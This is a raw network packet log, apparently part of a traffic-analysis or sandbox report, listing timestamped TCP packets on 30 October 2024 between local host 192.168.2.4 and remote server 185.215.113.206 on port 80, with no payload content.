Oct 30, 2024 02:27:38.024605036 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.024624109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.024640083 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.024671078 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.140603065 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.146151066 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.426352978 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.426415920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.426454067 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.426460028 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.426481962 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.426489115 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.426502943 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.426523924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.426537037 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.426559925 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.426593065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.426610947 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.426628113 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.426651955 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.426656961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.426683903 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.426692009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.426704884 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.426727057 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.426736116 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.426760912 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.426794052 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.426809072 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.426826954 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.426839113 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.426861048 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.426883936 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.426889896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.426925898 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.426937103 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.426970959 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.426997900 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.427040100 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.427047968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.427083015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.427093029 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.427115917 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.427129984 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.427150965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.427158117 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.427186966 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.427217960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.427234888 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.427252054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.427265882 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.427288055 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.427301884 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.427331924 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.427340031 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.427373886 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.427407026 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.427421093 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.427438974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.427462101 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.427474022 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.427495956 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.427506924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.427517891 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.427546024 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.427553892 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.427580118 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.427589893 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.427613974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.427623987 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.427647114 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.427680969 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.427699089 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.427712917 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.427727938 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.427747011 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.427761078 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.427776098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.427788019 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.427809954 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.427823067 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.427844048 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.427853107 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.427881002 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.427886963 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.427923918 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.427977085 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.428006887 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.428039074 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.428051949 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.428072929 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.428087950 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.428105116 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.428117990 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.428139925 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.428149939 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.428174019 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.428194046 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.428209066 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.428225994 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.428242922 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.428255081 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.428276062 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.428308964 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.428320885 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.428345919 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.428355932 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.428381920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.428388119 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.428416967 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.428427935 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.428450108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.428461075 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.428483009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.428518057 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.428531885 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.428550005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.428564072 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.428585052 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.428596973 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.428617954 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.428639889 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.428651094 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.428673029 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.428684950 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.428702116 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.428719997 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.428735018 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.428770065 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.428803921 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.428827047 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.428841114 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.428857088 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.428873062 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.428884029 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.428906918 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.428920031 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.428941965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.428951979 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.428976059 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.428986073 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.429011106 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.429022074 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.429054022 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.429137945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.429171085 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.429195881 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.429203987 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.429219007 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.429239035 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.429272890 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.429291010 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.429306030 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.429323912 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.429339886 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.429358959 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.429371119 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.429388046 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.429404974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.429439068 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.429462910 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.429472923 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.429486990 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.429506063 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.429518938 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.429539919 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.429552078 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.429574013 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.429594040 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.429609060 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.429622889 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.429644108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.429656029 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.429678917 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.429687023 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.429723978 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.543716908 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.543761969 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.543806076 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.543828964 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.543842077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.543859005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.543878078 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.543925047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.543961048 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.543991089 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.544039011 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.544054031 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.544071913 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.544094086 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.544122934 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.544140100 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.544157982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.544171095 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.544209003 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.544214964 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.544240952 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.544276953 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.544296980 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.544315100 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.544325113 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.544348955 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.544383049 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.544399023 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.544418097 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.544435024 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.544452906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.544467926 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.544656038 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.544703960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.544723988 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.544754028 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.544755936 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.544789076 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.544814110 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.544821978 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.544838905 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.544856071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.544869900 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.544897079 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.544909954 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.544948101 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.544948101 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.544998884 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.545027971 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.545053959 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.545061111 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.545089006 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.545094967 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.545104980 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.545128107 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.545145988 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.545161009 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.545181036 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.545193911 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.545201063 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.545228958 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.545264006 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.545281887 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.545295954 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.545309067 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.545329094 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.545348883 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.545363903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.545383930 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.545398951 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.545417070 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.545450926 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.589274883 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.589318037 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.589343071 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.589354038 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.589355946 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.589407921 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.589410067 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.589447021 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.589457035 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.589482069 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.589519024 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.589521885 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.589531898 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.589554071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.589562893 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.589595079 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.589694977 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.589714050 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.589749098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.589768887 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.589782953 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.589787960 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.589819908 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.589835882 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.589869976 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.589912891 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.589922905 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.589951992 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.589965105 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.590028048 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.590058088 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.590092897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.590104103 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.590126991 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.590137005 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.590162039 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.590167999 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.590198040 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.590205908 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.590238094 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.590326071 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.590356112 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.590384007 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.590392113 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.590404034 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.590533018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.590534925 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.590569019 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.590609074 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.590611935 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.590662956 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.590663910 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.590703964 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.590733051 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.590734005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.590749979 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.590768099 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.590785027 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.590802908 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.590806961 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.590837955 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.590850115 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.590873003 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.590890884 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.590907097 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.590940952 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.590959072 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.590974092 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.590977907 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.591008902 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.591042042 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.591058969 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.591074944 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.591082096 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.591109991 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.591120005 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.591145039 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.591157913 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.591182947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.591187954 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.591226101 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.591234922 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.591270924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.591279030 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.591305971 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.591319084 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.591350079 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.591356993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.591392994 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.591401100 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:38.591428995 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:38.591434956 CET	49760	80	192.168.2.4	185.215.113.206
